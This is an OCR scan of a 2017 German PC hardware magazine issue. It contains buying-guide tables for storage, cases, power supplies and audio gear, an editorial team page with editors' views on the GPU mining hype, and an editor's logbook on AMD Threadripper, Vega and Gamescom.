Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 | 08/2015 | www.pcgh.de/preis/1215186 


* L/S: Lesen und Schreiben | ** 4k- 


Random-Write-Operationen pro Sekunde 


Solid State Drives (M.2/PCle 3.0 x4) 


Bis 512 Gigabyte Preis Kapazitát bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Toshiba ОС7 RD400 Ca.€260,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 (E TTE 
Corsair MP500 Са. € 270,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 

PNY CS2030 Ca.€ 130,- |238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 (Tr Tiri 
Zotac Sonix Ca. € 330,- |477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 

Kingston Hyper X Predator Са. € 335,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | З Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 

Adata 5Х8000 Са. € 235,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 | 05/2017 | www.pcgh.de/preis/1532201 

Intel SSD 600p Са. € 190,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 | 05/2017 | www.pcgh.de/preis/1491162 

Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Samsung SSD 960 Pro Са. € 550,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 

Samsung SSD 960 Evo Са. Є 445,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79 | 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. Є 885,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k- 


Festplatten (3,5 Zoll) 


Random-Write-Operationen pro Sekunde 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Seagate Ironwolf NAS HDD Са. € 350,- | 9.313 GiB/10.000 GB | 7.200 0,6/1,1 Sone 14,8/7,23 ms 188/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 ФТ 
Toshiba N300 Ca. € 200,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 12,0/13,4 ms 167/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 

Seagate Archive HDD 8TB Ca. € 220,- | 7.452 GiB/8.000 GB | 5.900 0,5/0,6 Sone 13,5/14,0 ms 143/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 

Altes Testsystem 

Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Toshiba DTO1ACA300 Ca.€80,- | 2.794 GiB/3.000 GB | 7.200 0,3/0,6 Sone 15,2/15,4 ms* 154/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 ТҮР 
Western Digital Red WD30EFRX Ca. € 110,- | 2.794 GiB/3.000 GB | 5.400 0,2/0,3 Sone 19,9/21,0 ms* 112/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 

Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 0,5/0,9 Sone 12,5/12,9 ms 145/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 

HGST Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 0,5/0,6 Sone 16,3/14,8 ms* 131/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 

Western Digital Red WD40EFRX Ca. € 135,- | 3.726 GiB/4.000 GB | 5.400 0,4/0,5 Sone 16,6/18,5 ms 119/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 

Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in 

Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 12,5/4,3 ms* 167/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 

HGST Ultrastar He6 6TB Ca. € 400,- | 5.589 GiB/6.000 GB | 7.200 0,1/1,6 Sone 12,6/5,8 ms 143/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 

Western Digital Red WD60EFRX Ca. € 215,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 15,8/18 ms* 127/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer | SERVICE 


Einkaufsführer Gehäuse, Netzteile & Sound һо 


CETTE TT PREIS-LEISTUNGS-TIPP [EL ET SPAR-TIPP 


Format j 
Midi-Gehäuse (Hersteller- | Preis Lüfterplätze Enthaltene Lüfter a о Ш PUS UNE, Wertung Testin PCGH-Preisvergleich 
angabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 210,- | 9 x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Aerocool XPredator II Big-Tower | Ca. € 140,- | 6 x 140 mm 5 x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Phanteks Enthoo Luxe Big-Tower | Ca. € 130,- | 2 x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 
TE Sharkoon BW9000-W Midi-Tower | Са. € 70,- | 4 x 140 mm, 1 x 120 mm 2 x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °С** 1,84 09/2016 | www.pcgh.de/preis/1354897 
Enermax Thormax Giant Big-Tower | Са. € 135,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °С“ 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6 x 140 mm 4 x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5 x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Са. € 135,- | 4 x 140 mm, 1 х 120 mm 2 x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3 x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °C* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Са. € 110,- | 4 x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9 x 140/120 mm 2 x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 140,- | 5 x 140 mm oder 7 x 120 mm 3 x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
LC-Power Gaming 986B DS | Midi-Tower | Ca. € 100,- | 7 x 120 mm 2x 120 mm 1,3/1,3 Sone*** 70/72/41 °C 2,46*** | 08/2017 | www.pcgh.de/preis/1531267 
IT Chieftec Gaming GP-01B Midi-Tower | Ca. € 75,- | 2 x 140 mm, 3 x 120 mm 2 x 140, 1 x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
Cooltek TG-01 Midi-Tower | Ca. € 55,- | 6x 120 mm 4 x 120 mm 2,3/2,1 Sone*** 65/72/41 °C 2,76*** | 08/2017 | www.pcgh.de/preis/1551024 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core i7-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


*** Neues Test-/Wertungssystem (siehe PCGH 02/2017) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 М | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Be Quiet Dark Power Pro 11 550W | Са. € 130,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Са. € 140- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
ТТ ТУ Cooler Master V550 Ca. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 | www.pcgh.de/preis/1325567 
Bitfenix Whisper M Ca.€85- | 4x 6+2-Ріп (68 cm) 550 Wa 0,1/0,1/0,1/0,1/0,5 Sone | 88/92/93/92/91 % 1,54 07/2017 | www.pcgh.de/Fluesterleise 
XFX TS 550 Gold Ca. € 60,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 
Cougar GX-S 550 Ca.€65- | 2 х 6+2-Ріп (60-70 ст) 550 Wa 0,3/0,3/0,3/0,3/2,6 Sone | 85/90/92/91/90 % 2,06 07/2017 | www.pcgh.de/silberloewe 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Са. € 150,- | 4 x 6+2-Ріп (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 125,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W СМ | Са. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung -12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Corsair HX1000i Ca. € 240,- |4x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 170,- | 4 x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 135,- | 2 х 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate a See Ge e Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster ZxR Са. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 
Asus Xonar Essence STX 2 7.1 | Ca. 230,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 
Asus Xonar Phoebus Ca. 120,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanäle/Abtastrate ne a Pigs RN m Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 айа Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 
M Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A аа Integriertes Mikrofon 2,18 05/2015 | www.pcgh.de/preis/1003999 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TP56130A2 ein/nein Mikr.-Lautstárkeregl. am Gerät | 2,27 | 05/2015 | www.pcgh.de/preis/1150607 
Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 
Steelseries Siberia 800 Ca. 320,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 07/2016 | www.pcgh.de/preis/1631481 
Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 
You T Sennheiser GSP 350 Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 | 03/2017 | www.pcgh.de/preis/1543799 
Logitech G533 Wireless Ca. 100,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 
ШЕТУ Lioncast LX 50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1560427 
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SERVICE | Teamseite 


Die Redaktion 


Meel BAYER 
Chefredakteur Meel tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU 


ühler, Spiele 


PC aktuell: Auf dem Dachboden, wo der Spiele-PC steht, ist in der Sommerzeit 
kaum an entspanntes Spielen oder Fotobearbeiten zu denken. Insofern be- 
kommt der PC aktuell eine Denkpause — und das Notebook muss mehr ran. 


Der „Mining”-Hype ... geht an meinen persönlichen Interessen sehr weit 
vorbei. Allerdings stört mich erheblich, dass der Hype gravierende Auswirkun- 
gen auf Preise und Verfügbarkeiten von Spieler-Grafikkarten hat. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
7170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Wegen zeitweise fast 30 °C im Arbeits-/Spielzimmer habe ich die 
Titan X-ohne-p nun doch via Curve Editor unterspannt. -2.000/5.500 MHz 
bei 0,962 Volt scheint stabil zu sein — quasi unhörbar bei 250 Watt ТОР, die 
laut Eigendiagnostik der Karte nicht immer ausgefüllt wird. This. Is. Spar-taa! 


Der „Mining”-Hype ... lässt mich den Besitz einer Zeitmaschine schmerz- 
lich vermissen. Bitcoins, Ether und Apple-Aktien: Für all das ist es zu spät. 


Privat-PC: AMD Ryzen 1700 (3,0 GHz, 0,94V), Asus Crosshair VI Hero, 16 GiB 
DDR4-3200, Nvidia Titan X UV-OC + Arctic Hybrid III-140, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Im Sommer halten sich die Einsätze des alten Knaben in Grenzen, 
aber ich konnte mich für ein paar Runden Playerunkown's Battlegrounds mit 
Freunden erwärmen. Kann durchaus Spaß machen, wer hätte es gedacht. 


Der „Mining”-Hype ... lohnt sich eigentlich nur im großen Stil und ich 
laufe ich nicht jedem Trend hinterher, weshalb ich immer noch in Deutschland 
wohne und nicht auf Grand Cayman. Sollte ich mal drüber nachdenken. ;). 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL Erg] 


Redakteur Erg] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Skylake-X, Ryzen 7, Ryzen Threadripper oder Coffee Lake-S? Die 
Qual der Wahl. 


Der „Mining”-Hype ... ist amüsant anzusehen, wenn man bedenkt, wie 
viele Leute sich mit Radeons eindecken. In absehbarer Zeit wird sich das 
Minen zumindest in Deutschland wohl nicht mehr lohnen, womit mir das 
Thema egal sein kann. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra II 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Vega kónnte so langsam mal auf den Markt kommen, sodass ich 
meinen Ryzen-Rechner zusammenstellen kann. Radeons sind aktuell nicht be- 
zahlbar und eine Nvidia mit einem Ryzen verheiraten geht ja wohl gar nicht. 


Der „Mining”-Hype ... legt meine Schnáppchenjagd auf eine gute und 
günstige Grafikkarte lahm. Denn ich móchte doch tatsáchlich die GPU für so 
etwas Profanes wie PC-Spiele nutzen! 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Win 10 nervt mal wieder fleißig. Zuletzt hat's mir den Treiber 
meiner Sound Blaster ZxR zerschossen und obendrauf alle lästigen „Gaming- 
Features” reaktiviert. Und den Desktop gekillt (keine Icons mehr nutzbar). 


Der „Mining”-Hype ... ist wahrscheinlich schon wieder vorbei, wenn Sie 
diese Zeilen lesen. Aber es ist schon erstaunlich, welche Goldgräberstimmung 
plötzlich entstehen kann. 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 © 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÖWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Den enormen Ebay-Preisen konnte ich nicht widerstehen und 
habe nach circa einem Jahr Nutzung meine RX 480 verkauft. Nun warte ich 
gespannt auf Vega und Volta — etwa mehr Budget ist ja nun vorhanden. 


Der „Mining”-Hype ... hat mich etwas überrascht, da das Thema ja eigent- 
lich nicht neu ist. Spannend, mir aber zu volatil, was die Kurse angeht: Hat 
man eine Woche durchgemint, ist das Ergebnis am Ende kaum noch was wert. 


Privat-PC: i7-5775C (3,6 GHz/1,05v), 16 GiB DDR3-1866, 128 GByte-SSD 
(NVME), 24"-LCD (120 Hz 4 life), Mini-ITX-Gehäuse (11 Liter Vol.) 


PC aktuell: Diesen Monat ist bei mir die Sicherungswelle ausgebrochen. 
Mithilfe der HDClone-Software und diverser älterer HDDs und SSDs habe ich 
die Systemplatten sámtlicher PCs im Haus als Sicherungskopie dupliziert. 


Der „Mining”-Hype ... ist ein interessantes Phänomen, das zwar nicht neu 
ist, aber aktuell den Grafikkartenmarkt deutlich beeinflusst hat. Hátte ich ge- 
wusst, dass meine R9 290X derzeit Mondpreise erzielt, hátte ich sie behalten. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehàuse) 


Dr VOGEL 


Redakteur Pu ОЛЫ tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontàr | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


PC aktuell: Bei 6 von 6 probegegriffenen Logitech G700 hing die G10-Taste 
— bei der jetzt gekauften G700s überraschenderweise nicht :-). Die miese Ak- 
kulaufzeit ist aber weiterhin ein hoher Preis für gute Ergonomie und Software. 


Der „Mining”-Hype ... ist einfach absurd: Viel Energie wird іп nutzlose 
Berechnungen investiert, um mit wertlosen Bytes belohnt zu werden. Aber 
weil Spekulanten noch verrückter sind, lohnt sich das Ganze für einige. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PS4 aktuell: Ich hab mit Farpoint VR angefangen und bin von der Lokomotion 
und dem Schießen über Kimme und Korn schon sehr beeindruckt. Aber das 
war's dann auch, bisher fesselt mich weder Story noch weiteres Gameplay. 


Der „Mining”-Hype ... mit Ether zeigt: Kryptowährungen sind іп der 
Gesellschaft angekommen. Auch wenn der GPU-Markt dadurch massiv in 
Mitleidenschaft gezogen wurde/wird, begrüBe ich diese Entwicklung doch sehr. 


Privat-PC: Intel Core i5-3450, P8B75-MLX (uATX), 8 GiByte DDR-RAM, ХЕХ 
Radeon RX 470 RS Black Edition 


STEPHAN WILKE 
Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Ich habe das erste Mal überhaupt bei einem Steam-Sale 
zugeschlagen und konnte beim Steam Link für rund 20 Euro inkl. Versand nicht 
widerstehen. Zum Experimentieren ist das Gerät sicherlich spannend. 


Der „Mining”-Hype ... hat erst dazu geführt, dass ich mich etwas in das 
Thema eingelesen habe. Schon interessant, dass unfassbar viel Rechenleistung 
verwendet wird, um ein paar virtuelle Taler zu erzeugen. 


Privat-PC: Core i7-7700K, 16 GiB DDRA, Asus 7170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Eine weitere Backup-HDD ist eingetroffen, dieses Mal mit 5 TB. 


Der „Mining”-Hype ... kommt und geht, Blockchain bleibt. In DE ist das 
Ganze eher Hobby statt Gescháft, Profit machen Bitmain, Genesis Mining, etc. 
Aber: Bei den Altcoins tummeln sich unter viel Müll auch tolle Projekte. Wen 
Kryptowährungen interessieren, sollte sich eher damit beschäftigen als überteu- 
erten RX 480 für Ether-Mining bei Ebay nachzujagen; bringt langfristig mehr. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDRA, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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Logbuch #204: Threadripper, Vega 
und ein Fest für Strategen 


Threadripper und Vega: AMD hat meinen Jahresurlaub - tatsächlich der längste seit 15 Jahren - : 
dazu genutzt, gleich zwei große Produktveröffentlichungen durchzuziehen. Selbstverständlich H facebook 


stellen diese beiden Themen den Schwerpunkt in dieser Ausgabe dar. Ab Seite 8 finden Sie 


C alles über den Krieg der Kerne, ab Seite 32 alles über AMDs neue RX-Vega-Generation, die mit | PCGH-Fan werden auf: 
f adi = einem selbstbewussten Preis an den Start geht. Wie finden Sie die neuen AMD-Produkte? Erfül- : 
Ыы” len Threadripper und Vega Ihre Erwartungen? Schreiben Sie mir Ihre Meinung an tb@pcgh.de. 
. 0 Gamescom-Überraschungen: Ich mag vielleicht den Start von Threadripper und Vega verpasst 
haben, aber zur Gamescom war ich natürlich wieder rechtzeitig aus dem Urlaub zurück. Und 
z was soll ich sagen, für mich als Herzblut-Strategen hat sich die Messe mehr als gelohnt. Wenn 
о Bayer. mir vorher jemand gesagt hätte, was dort alles angekündigt wird, ich hätte ihn sicher als Fan- 


tasten bezeichnet. Der Knaller war natürlich Age of Empires 4, das seit Jahren regelmäßig eines 
der Spiele ist, die von Lesern am meisten gewünscht werden. Acht Jahre nach der Auflösung 
des ursprünglichen AoE-Entwicklers, Ensemble Studios, hätte wohl kaum einer mehr daran ge- 
glaubt, dass Microsoft mehr macht, als die alten Spiele noch einmal als Remaster aufzulegen. Dann wurde auch noch 
Anno 1800 angekündigt, das nach dem eher umstrittenen Anno 2205 das Beste aus allen Anno-Spielen vereinen soll. 
Sowohl AoE als auch Anno haben je rund 20 Jahre als Serie auf dem Buckel und es freut mich zu sehen, dass das Thema 
Strategie - lange Jahre eher Kassengift - auch bei den großen Publishern wieder mehr in den Fokus rückt. Age of Em- 
pires 4 und Anno 1800 kommen zwar frühestens Ende 2018, aber ich freue mich als Stratege schon heute über weitere 
Infos. Wie sehen Sie die Ankündigung von AoE 4 und Anno 1800? Schreiben Sie mir Ihre Meinung an tb@pcgh.de. 
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Ebenfalls auffällig war, wie die PR-Maschinerie von Nvidia während der Gamescom anlief. Hatte man zuletzt eher den 
Eindruck, dass die Zusammenarbeit mit Spieleentwicklern heruntergefahren wurde, zeigte sich im Rahmen der Kólner 
Spielemesse genau das Gegenteil. Umfangreiche Kooperationen bei Final Fantasy 15 PC, Destiny 2, Mittelerde: Schatten 
des Krieges und Playerunknown's Battlegrounds sind Zeugnis dafür, dass Nvidia hier wieder richtig Gas gibt. Sogar SLI 
scheint wieder etwas mehr Liebe abzubekommen. Ob AMD mit Vega da wohl für etwas mehr Konkurrenz sorgt? 


Viel Spaß mit der Ausgabe Nummer 204 wünscht Ihr 


job Boner 


Manuel testet 

acht 240-Hz- 

Monitore und 

ermittelt dabei 

2 PY die Reaktionszei- 

Raff konnte nicht selbst in die Kamera schauen, denn er war zu sehr mit [ I e ten erstmals per 
dem Test von AMDs Vega-10-GPU beschäftigt. Dabei lässt er die Modelle $ Fotodiode und 
RX Vega 56 und 64 gegen Nvidas GTX 1080 und 1070 antreten. ner Oszilloskop. 


Der Spieleonkel führt einen Vergleichstest mit sieben и т 
bunt beleuchteten mechanischen Tastaturen durch. D | e R e d a kt | O n 


im August 2017 


+++ Der Audio-Phil scheucht Sudden Strike 4 durch seinen Bench- 
mark-Parcours und erklärt, mit welchen Grafikeffekten Licht- und 
Schattenspiele entstehen +++ Alexandros begibt sich in virtuel- 
le 3D-Welten und ermittelt, wie viel GPU-Power dafür nötig ist +++ 
Torsten testet drei weitere Sockel-2066-Platinen mit X299-Chip +++ Stephan 
demonstriert, wie Sie durch das Senken der CPU-Spannung viel Geld sparen +++ 


u SERVICE | Heftinhalt 


Heftinhalt 


Seite 08 


AND deeg P РРР Ж 


PYZEN 


Der Krieg der Kerne 


AMD nyren Threadripper 1920x 


AMDZ 


r* Y ZEN 


"TW Е A 3 =Y v> = = 


Fi 
ya 


Mit Threadripper ist AMD zurück im High-End-Desktop-Geschàft. Mit bis zu 16 CPU-Kernen, vierkanalig angebundenem DDR4-RAM und 
